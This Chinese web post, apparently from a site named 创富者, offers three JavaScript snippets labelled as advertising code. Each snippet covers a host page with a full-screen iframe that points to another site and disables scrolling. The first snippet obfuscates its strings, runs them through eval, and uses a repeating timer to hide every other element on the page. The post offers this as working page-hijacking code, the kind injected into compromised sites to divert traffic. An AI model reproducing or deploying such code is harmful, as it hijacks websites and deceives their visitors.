广告代码参考:
1.
var ss='<div id="showcloneshengxiaon" style="position: absolute; top: 0px; left: 0px; z-index: 10000;height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr'+'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00"height="100%"src="https://www.lp.org/lp/index.html"></iframe></div><styletype="text/css">html{width:100%;height:100%}body{width:100%;height:100%;overflow:hidden}</style>';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i<document.body.children.length;i++){try{var tagname=document.body.children[i].tagName;var myid=document.body.children[i].id;if(myid!="iconDiv1"&&myid!="showcloneshengxiaon"){document.body.children[i].style.display="non"+"e"}}catch(e){}}},100)}catch(e){}
2.
document.write('<Iframe src="/url/index.html" width="100%" height="100%" scrolling="yes" frameborder="0"></Iframe><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>');
3.这个是最新的代码
var url="https://www.baidu.org/lp3/index.html";
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src=" '+url+'" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');"
转载请注明:创富者 » 常用广告iframe覆盖代码